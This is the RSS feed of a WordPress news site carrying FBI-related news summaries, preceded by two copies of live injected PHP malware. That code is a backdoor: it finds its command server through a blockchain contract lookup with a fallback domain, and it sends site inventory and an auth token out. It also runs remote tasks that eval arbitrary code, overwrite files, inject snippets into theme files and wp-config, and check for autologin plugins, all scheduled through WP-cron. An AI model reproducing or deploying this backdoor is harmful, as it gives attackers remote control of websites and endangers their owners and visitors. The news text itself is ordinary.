// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); FBI’s – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 09 Sep 2022 11:59:54 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png FBI’s – Brief News https://briefnews.eu 32 32 GirlsDoPorn founder, on the run for 3 years, now on FBI’s Ten Most Wanted list https://briefnews.eu/girlsdoporn-founder-on-the-run-for-3-years-now-on-fbis-ten-most-wanted-list/ https://briefnews.eu/girlsdoporn-founder-on-the-run-for-3-years-now-on-fbis-ten-most-wanted-list/#respond Fri, 09 Sep 2022 11:59:54 +0000 https://briefnews.eu/girlsdoporn-founder-on-the-run-for-3-years-now-on-fbis-ten-most-wanted-list/
An FBI poster displaying three pictures of Michael James Pratt, one of the agency's Ten Most Wanted fugitives.

Enlarge (credit: FBI)

The Federal Bureau of Investigation has added GirlsDoPorn founder Michael James Pratt to its Ten Most Wanted Fugitives list, nearly three years after he was charged with sex trafficking in a US federal court in California. The FBI is now offering a reward of $ 100,000 for information leading to his arrest, up from $ 10,000 it offered in September 2020.

Pratt is wanted “for his alleged involvement in sex trafficking and production of child pornography,” the FBI said yesterday. Pratt and others who did not evade capture were accused of “a conspiracy to recruit young adult women and minor girls to engage in commercial sex acts by force, fraud, and coercion.”

From 2012 to 2019, Pratt owned and operated GirlsDoPorn and GirlsDoToys, which generated more than $ 17 million in revenue, the FBI said. “Locating Pratt is a high priority for the FBI in order to stop him from victimizing anyone else,” Special Agent in Charge Stacey Moy said.

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]]> https://briefnews.eu/girlsdoporn-founder-on-the-run-for-3-years-now-on-fbis-ten-most-wanted-list/feed/ 0 Federal judge grants Trump’s request for a special master to look through docs seized in the FBI’s search of Mar-a-Lago https://briefnews.eu/federal-judge-grants-trumps-request-for-a-special-master-to-look-through-docs-seized-in-the-fbis-search-of-mar-a-lago/ https://briefnews.eu/federal-judge-grants-trumps-request-for-a-special-master-to-look-through-docs-seized-in-the-fbis-search-of-mar-a-lago/#respond Mon, 05 Sep 2022 16:45:21 +0000 https://briefnews.eu/federal-judge-grants-trumps-request-for-a-special-master-to-look-through-docs-seized-in-the-fbis-search-of-mar-a-lago/ Donald Trump
Former President Donald Trump speaks at CPAC in Dallas, Tex., on August 6, 2022.

Brandon Bell/Getty Images

  • A federal judge granted Trump's request for a special master to review seized docs. 
  • The special master would screen for "potentially privileged material." 
  • The DOJ had opposed the move, arguing that Trump "lacked standing."

A federal judge in Florida granted former President Donald Trump's request for the court to appoint a special master to go over materials that the FBI seized in its court-authorized search last month of Mar-a-Lago. 

"The court hereby authorizes the appointment of a special master to review the seized property for personal items and documents and potentially privileged material subject to claims of attorney-client and/or executive privilege," US District Judge Aileen Cannon wrote in an order Monday.

The ruling also ordered government investigators to hold off looking over the seized documents until the special master reviews them. 

Last month, the FBI probed into the former president's Mar-a-Lago residence in Florida and recovered several boxes containing classified records that Trump took with him from the White House once he left office, according to the court records made public. 

The search unearthed more than two dozen boxes containing some "11,000 documents and 1,800 other items from the office and storage room," according to court filings. Some of the boxes were distinctly marked as "top secret," Insider's Sonam Sheth reported. 

Under the Presidential Records Act, he should have turned the records over to the agency upon leaving office.

The Justice Department is now investigating whether Trump violated any laws pertaining to the handling of government documents. A legal analyst has previously said he could receive a 10-year prison sentence if he's convicted of violating the Espionage Act, a law that dates back to World War I that essentially bars anyone from sharing or disseminating information that could potentially harm or disadvantage the US.

Trump has so far denied all assertions of wrongdoing, saying that he had "declassified" the documents. He also said that "everyone ends up having to bring home their work from time to time."

This is a breaking story. Please check back for updates.

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]]> https://briefnews.eu/federal-judge-grants-trumps-request-for-a-special-master-to-look-through-docs-seized-in-the-fbis-search-of-mar-a-lago/feed/ 0 ‘Little lies point to bigger lies’: James Comey writes that the FBI’s investigation into Kavanaugh won’t be ‘as hard as Republicans hope it will be’ https://briefnews.eu/little-lies-point-to-bigger-lies-james-comey-writes-that-the-fbis-investigation-into-kavanaugh-wont-be-as-hard-as-republicans-hope-it-will-be/ https://briefnews.eu/little-lies-point-to-bigger-lies-james-comey-writes-that-the-fbis-investigation-into-kavanaugh-wont-be-as-hard-as-republicans-hope-it-will-be/#respond Mon, 01 Oct 2018 14:20:31 +0000 http://briefnews.eu/little-lies-point-to-bigger-lies-james-comey-writes-that-the-fbis-investigation-into-kavanaugh-wont-be-as-hard-as-republicans-hope-it-will-be/ James ComeyJonathan Ernst/Getty Images

  • Former FBI director James Comey wrote in an op-ed Sunday that the FBI’s background check into Supreme Court nominee Brett Kavanaugh will not be “as hard as Republicans hope it will be.”
  • FBI investigators “know that little lies point to bigger lies,” Comey wrote. “They know that obvious lies by the nominee about the meaning of words in a yearbook are a flashing signal to dig deeper.”
  • It’s unclear how deep the FBI will be able to dig, however, because Republicans and the White House have imposed significant constraints on the scope of the background check.

The former FBI director, James Comey, weighed in Sunday on the recent firestorm surrounding Supreme Court nominee Brett Kavanaugh and the decision to order an FBI investigation into the sexual-misconduct allegations against him.

In an op-ed published by The New York Times, Comey wrote that “the FBI is up for this,” referring to the background check. “It’s not as hard as Republicans hope it will be.”

See the rest of the story at Business Insider

NOW WATCH: Inside the Trump ‘MAGA’ hat factory

See Also:

SEE ALSO: The FBI’s investigation into Kavanaugh is far more constrained than previously known, and experts say ‘it would be comical if it wasn’t so important’

]]> https://briefnews.eu/little-lies-point-to-bigger-lies-james-comey-writes-that-the-fbis-investigation-into-kavanaugh-wont-be-as-hard-as-republicans-hope-it-will-be/feed/ 0 Trump refutes report that the White House is setting restrictions on the FBI’s Kavanaugh investigation: ‘Actually, I want them to interview whoever they deem appropriate’ https://briefnews.eu/trump-refutes-report-that-the-white-house-is-setting-restrictions-on-the-fbis-kavanaugh-investigation-actually-i-want-them-to-interview-whoever-they-deem-appropriate/ https://briefnews.eu/trump-refutes-report-that-the-white-house-is-setting-restrictions-on-the-fbis-kavanaugh-investigation-actually-i-want-them-to-interview-whoever-they-deem-appropriate/#respond Sun, 30 Sep 2018 17:22:11 +0000 http://briefnews.eu/trump-refutes-report-that-the-white-house-is-setting-restrictions-on-the-fbis-kavanaugh-investigation-actually-i-want-them-to-interview-whoever-they-deem-appropriate/ brett kavanaughReuters

  • President Donald Trump on Saturday refuted a NBC News report that said the White House was setting restrictions on the FBI’s investigation into sexual-misconduct allegations against Brett Kavanaugh.
  • “Actually, I want them to interview whoever they deem appropriate, at their discretion,” Trump tweeted.
  • NBC News had reported Saturday that the FBI will not be permitted to investigate claims by Julie Swetnick, the third woman who has come forward.

President Donald Trump on Saturday pushed back on reports that the White House was setting a number of restrictions on the FBI investigation into sexual-misconduct allegations against Brett Kavanaugh, his Supreme Court nominee.

“NBC News incorrectly reported (as usual) that I was limiting the FBI investigation of Judge Kavanaugh, and witnesses, only to certain people,” Trump tweeted. “Actually, I want them to interview whoever they deem appropriate, at their discretion. Please correct your reporting!”

See the rest of the story at Business Insider

NOW WATCH: Inside the Trump ‘MAGA’ hat factory

See Also:

SEE ALSO: Kavanaugh chokes up during Senate testimony describing how his 10-year-old daughter wanted to pray for his accuser Christine Blasey Ford

]]> https://briefnews.eu/trump-refutes-report-that-the-white-house-is-setting-restrictions-on-the-fbis-kavanaugh-investigation-actually-i-want-them-to-interview-whoever-they-deem-appropriate/feed/ 0 Michael Cohen’s taxi businesses that were used as collateral for a bank loan are reportedly on the FBI’s radar https://briefnews.eu/michael-cohens-taxi-businesses-that-were-used-as-collateral-for-a-bank-loan-are-reportedly-on-the-fbis-radar/ https://briefnews.eu/michael-cohens-taxi-businesses-that-were-used-as-collateral-for-a-bank-loan-are-reportedly-on-the-fbis-radar/#respond Fri, 13 Apr 2018 06:15:09 +0000 http://briefnews.eu/michael-cohens-taxi-businesses-that-were-used-as-collateral-for-a-bank-loan-are-reportedly-on-the-fbis-radar/ commute, commuting, taxi, people, cars, new yorkAP Images

  • The scope of the FBI’s raid on the offices of Michael Cohen, President Donald Trump’s personal attorney, reportedly includes a look at Cohen’s taxi businesses.
  • Cohen reportedly took out a business loan using his three taxi companies as collateral.
  • Cohen may already be under investigation for possible bank fraud, wire fraud, and campaign finance violations, according to a Washington Post report published earlier this week.

The scope of the FBI raid in which records from Michael Cohen, President Donald Trump’s longtime personal attorney, were seized includes a look at his taxi businesses that he previously used as collateral to take out a business loan, The Washington Post reported on Thursday.

As part of a wide-ranging FBI raid on Monday, agents sought records on transactions between Cohen and the New York-based Sterling National Bank. Cohen took out a business loan there in 2014, using his three taxi companies as collateral, The Post reported. The size of that business loan is not publicly known.

See the rest of the story at Business Insider

NOW WATCH: Here’s why the death penalty and longer prison sentences don’t really deter crime

See Also:

SEE ALSO: ‘Mr. President, if you’re watching’: Lindsey Graham appeals to Trump on Fox News not to ‘screw up’ the Russia investigation by firing Mueller

